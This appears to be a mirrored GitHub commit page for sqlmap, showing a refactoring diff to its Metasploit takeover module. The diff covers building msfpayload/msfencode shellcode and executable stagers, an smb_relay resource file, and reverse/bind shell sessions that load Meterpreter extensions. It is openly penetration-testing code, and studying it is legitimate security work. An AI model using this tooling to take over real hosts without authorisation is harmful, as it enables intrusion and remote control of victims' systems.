Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 06cc2a6

Browse files
bdamelebdamele
committed
Minor bug fixes and code refactoring
1 parent a727427 commit 06cc2a6

1 file changed

Lines changed: 22 additions & 27 deletions

File tree

‎lib/takeover/metasploit.py‎

Lines changed: 22 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -300,7 +300,7 @@ def __selectRhost(self):
300300

301301

302302
def __selectLhost(self):
303-
if self.connectionStr.startswith("reverse"):
303+
if self.connectionStr.startswith("reverse") or self.resourceFile != None:
304304
message = "which is the local address? [%s] " % self.localIP
305305
address = readInput(message, default=self.localIP)
306306

@@ -355,6 +355,8 @@ def __forgeMsfConsoleCmd(self):
355355

356356

357357
def __forgeMsfConsoleResource(self):
358+
self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile)
359+
358360
self.__prepareIngredients(encode=False, askChurrasco=False)
359361

360362
self.__resource = "use windows/smb/smb_relay\n"
@@ -374,14 +376,12 @@ def __forgeMsfConsoleResource(self):
374376

375377
self.__resource += "exploit\n"
376378

377-
self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile)
378-
self.resourceFp = open(self.resourceFile, "w")
379-
379+
self.resourceFp = open(self.resourceFile, "w")
380380
self.resourceFp.write(self.__resource)
381381
self.resourceFp.close()
382382

383383

384-
def __forgeMsfPayloadCmd(self, exitfunc="process", output="exe", extra=None):
384+
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
385385
self.__payloadCmd = self.__msfPayload
386386
self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr)
387387
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
@@ -394,24 +394,25 @@ def __forgeMsfPayloadCmd(self, exitfunc="process", output="exe", extra=None):
394394
raise sqlmapDataException, "unexpected connection type"
395395

396396
if kb.os == "Windows":
397-
self.__payloadCmd += " R | %s -e %s -t %s" % (self.__msfEncode, self.encoderStr, output)
397+
self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
398398

399399
if extra is not None:
400400
self.__payloadCmd += " %s" % extra
401401

402+
# TODO: payload stager for Linux can not be encoded as long as
403+
# Metasploit developers do not commit my minor patch for msfencode
402404
else:
403-
self.__payloadCmd += " X"
405+
self.__payloadCmd += " X > %s" % outFile
404406

405407

406-
def __runMsfCli(self, exitfunc="process"):
408+
def __runMsfCli(self, exitfunc):
407409
self.__forgeMsfCliCmd(exitfunc)
408410

409411
infoMsg = "running Metasploit Framework 3 command line "
410412
infoMsg += "interface locally, wait.."
411413
logger.info(infoMsg)
412414

413415
logger.debug("executing local command: %s" % self.__cliCmd)
414-
415416
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
416417

417418

@@ -420,7 +421,6 @@ def __runMsfConsole(self):
420421
logger.info(infoMsg)
421422

422423
logger.debug("executing local command: %s" % self.__consoleCmd)
423-
424424
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
425425

426426

@@ -515,7 +515,7 @@ def __controlMsfCmd(self, proc, func):
515515

516516
metSess = re.search("Meterpreter session ([\d]+) opened", out)
517517

518-
if metSess and self.payloadStr == "windows/meterpreter":
518+
if metSess:
519519
self.__loadMetExtensions(proc, metSess.group(1))
520520

521521
except EOFError:
@@ -530,16 +530,15 @@ def createMsfShellcode(self):
530530
logger.info(infoMsg)
531531

532532
self.__randStr = randomStr(lowercase=True)
533-
self.shellcodeChar = ""
534533
self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
535-
self.__shellcodeFileP = open(self.__shellcodeFilePath, "wb")
534+
self.shellcodeChar = ""
536535

537536
self.__initVars()
538537
self.__prepareIngredients(askChurrasco=False)
539-
self.__forgeMsfPayloadCmd(exitfunc="seh", output="raw", extra="-b \"\\x00\\x27\"")
538+
self.__forgeMsfPayloadCmd("seh", "raw", self.__shellcodeFilePath, "-b \"\\x00\\x27\"")
540539

541540
logger.debug("executing local command: %s" % self.__payloadCmd)
542-
process = execute(self.__payloadCmd, shell=True, stdout=self.__shellcodeFileP, stderr=PIPE)
541+
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
543542

544543
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
545544
pollProcess(process)
@@ -550,8 +549,6 @@ def createMsfShellcode(self):
550549
else:
551550
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
552551

553-
self.__shellcodeFileP.close()
554-
555552
if payloadSize:
556553
payloadSize = payloadSize.group(1)
557554

@@ -561,9 +558,9 @@ def createMsfShellcode(self):
561558
errMsg = "failed to create the shellcode (%s)" % payloadStderr
562559
raise sqlmapFilePathException, errMsg
563560

564-
self.__shellcodeFileP = open(self.__shellcodeFilePath, "rb")
565-
self.__shellcodeString = self.__shellcodeFileP.read()
566-
self.__shellcodeFileP.close()
561+
self.__shellcodeFP = open(self.__shellcodeFilePath, "rb")
562+
self.__shellcodeString = self.__shellcodeFP.read()
563+
self.__shellcodeFP.close()
567564

568565
os.unlink(self.__shellcodeFilePath)
569566

@@ -587,21 +584,21 @@ def createMsfPayloadStager(self, initialize=True):
587584

588585
if kb.os == "Windows":
589586
self.exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf.outputPath, self.__randStr)
587+
self.__fileFormat = "exe"
590588
else:
591589
self.exeFilePathLocal = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
592-
593-
self.__exeFileP = open(self.exeFilePathLocal, "wb")
590+
self.__fileFormat = "elf"
594591

595592
if initialize == True:
596593
self.__initVars()
597594

598595
if self.payloadStr == None:
599596
self.__prepareIngredients()
600597

601-
self.__forgeMsfPayloadCmd()
598+
self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)
602599

603600
logger.debug("executing local command: %s" % self.__payloadCmd)
604-
process = execute(self.__payloadCmd, shell=True, stdout=self.__exeFileP, stderr=PIPE)
601+
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
605602

606603
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
607604
pollProcess(process)
@@ -612,8 +609,6 @@ def createMsfPayloadStager(self, initialize=True):
612609
else:
613610
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
614611

615-
self.__exeFileP.close()
616-
617612
os.chmod(self.exeFilePathLocal, stat.S_IRWXU)
618613

619614
if payloadSize:
@@ -646,7 +641,7 @@ def uploadMsfPayloadStager(self):
646641

647642

648643
def pwn(self):
649-
self.__runMsfCli()
644+
self.__runMsfCli(exitfunc="process")
650645

651646
if self.connectionStr.startswith("bind"):
652647
self.__runMsfPayloadRemote()

0 commit comments

Comments
 (0)